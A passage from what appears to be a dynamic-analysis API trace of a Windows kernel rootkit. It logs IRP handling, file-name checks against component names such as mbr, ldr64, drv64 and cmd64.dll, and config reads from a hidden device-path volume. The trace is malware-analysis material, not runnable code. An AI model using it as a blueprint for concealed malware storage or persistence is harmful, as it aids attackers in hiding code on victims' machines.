MemoryDescriptorList=0xfffffa8003b863b0) [0127.717] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.717] IdePortDispatch () returned 0x103 [0127.717] KeWaitForMutexObject () returned 0x0 [0127.717] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.717] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.717] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.717] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.717] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.717] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.717] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.717] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.717] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.717] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.717] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.718] KeLeaveCriticalRegion () [0127.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.718] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.718] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.718] KeEnterCriticalRegion () [0127.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.718] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.718] IdePortDispatch () returned 0x103 [0127.718] KeWaitForMutexObject () returned 0x0 [0127.718] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.718] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.718] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.718] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.718] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.718] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.718] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.718] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.718] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.718] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.718] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.718] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.718] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.718] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.718] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.718] KeLeaveCriticalRegion () [0127.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.718] ReleaseMutex (hMutex=0x100) returned 1 [0127.718] Sleep (dwMilliseconds=0x2bf20) [0127.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f549250, dwHighDateTime=0x1d24fa4)) [0127.725] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.725] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.725] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.725] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.725] KeEnterCriticalRegion () [0127.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.725] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.725] IdePortDispatch () returned 0x103 [0127.725] KeWaitForMutexObject () returned 0x0 [0127.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.725] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.725] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.725] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.725] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.725] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.725] KeLeaveCriticalRegion () [0127.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.725] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.725] KeEnterCriticalRegion () [0127.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.726] KeLeaveCriticalRegion () [0127.726] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.726] KeEnterCriticalRegion () [0127.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.726] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.726] IdePortDispatch () returned 0x103 [0127.726] KeWaitForMutexObject () returned 0x0 [0127.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.726] KeLeaveCriticalRegion () [0127.726] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.726] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.726] KeEnterCriticalRegion () [0127.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b92000 [0127.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.726] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.726] IdePortDispatch () returned 0x103 [0127.726] KeWaitForMutexObject () returned 0x0 [0127.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.726] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.727] IdePortDispatch () returned 0x103 [0127.727] KeWaitForMutexObject () returned 0x0 [0127.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.727] KeLeaveCriticalRegion () [0127.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.727] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.727] KeEnterCriticalRegion () [0127.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.727] KeLeaveCriticalRegion () [0127.727] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.727] KeEnterCriticalRegion () [0127.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.728] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.728] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.728] KeLeaveCriticalRegion () [0127.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.728] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.728] KeEnterCriticalRegion () [0127.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.728] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.728] KeLeaveCriticalRegion () [0127.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.728] ReleaseMutex (hMutex=0xf0) returned 1 [0127.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.728] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.728] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.728] KeEnterCriticalRegion () [0127.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.728] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.728] IdePortDispatch () returned 0x103 [0127.729] KeWaitForMutexObject () returned 0x0 [0127.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc7b0 [0127.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.729] KeLeaveCriticalRegion () [0127.729] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.729] KeEnterCriticalRegion () [0127.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.729] KeLeaveCriticalRegion () [0127.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.729] KeEnterCriticalRegion () [0127.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.729] IdePortDispatch () returned 0x103 [0127.729] KeWaitForMutexObject () returned 0x0 [0127.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.730] KeLeaveCriticalRegion () [0127.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.730] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.730] KeEnterCriticalRegion () [0127.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b93000 [0127.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.730] IdePortDispatch () returned 0x103 [0127.730] KeWaitForMutexObject () returned 0x0 [0127.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.730] IdePortDispatch () returned 0x103 [0127.730] KeWaitForMutexObject () returned 0x0 [0127.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.730] KeLeaveCriticalRegion () [0127.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.731] KeEnterCriticalRegion () [0127.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] KeLeaveCriticalRegion () [0127.731] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.731] KeEnterCriticalRegion () [0127.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] KeLeaveCriticalRegion () [0127.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.731] KeEnterCriticalRegion () [0127.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] ExFreePoolWithTag (P=0xfffffa8003bfc7b0, Tag=0x0) [0127.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] KeLeaveCriticalRegion () [0127.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.731] ReleaseMutex (hMutex=0xf0) returned 1 [0127.731] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.731] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.731] KeEnterCriticalRegion () [0127.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.732] IdePortDispatch () returned 0x103 [0127.732] KeWaitForMutexObject () returned 0x0 [0127.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.732] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.732] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.732] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.732] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.732] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.732] KeLeaveCriticalRegion () [0127.732] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.732] KeEnterCriticalRegion () [0127.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.732] KeLeaveCriticalRegion () [0127.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.732] KeEnterCriticalRegion () [0127.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.732] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.732] IdePortDispatch () returned 0x103 [0127.732] KeWaitForMutexObject () returned 0x0 [0127.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.733] KeLeaveCriticalRegion () [0127.733] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.733] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.733] KeEnterCriticalRegion () [0127.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b94000 [0127.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.733] IdePortDispatch () returned 0x103 [0127.733] KeWaitForMutexObject () returned 0x0 [0127.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.733] IdePortDispatch () returned 0x103 [0127.733] KeWaitForMutexObject () returned 0x0 [0127.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.733] KeLeaveCriticalRegion () [0127.733] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.734] 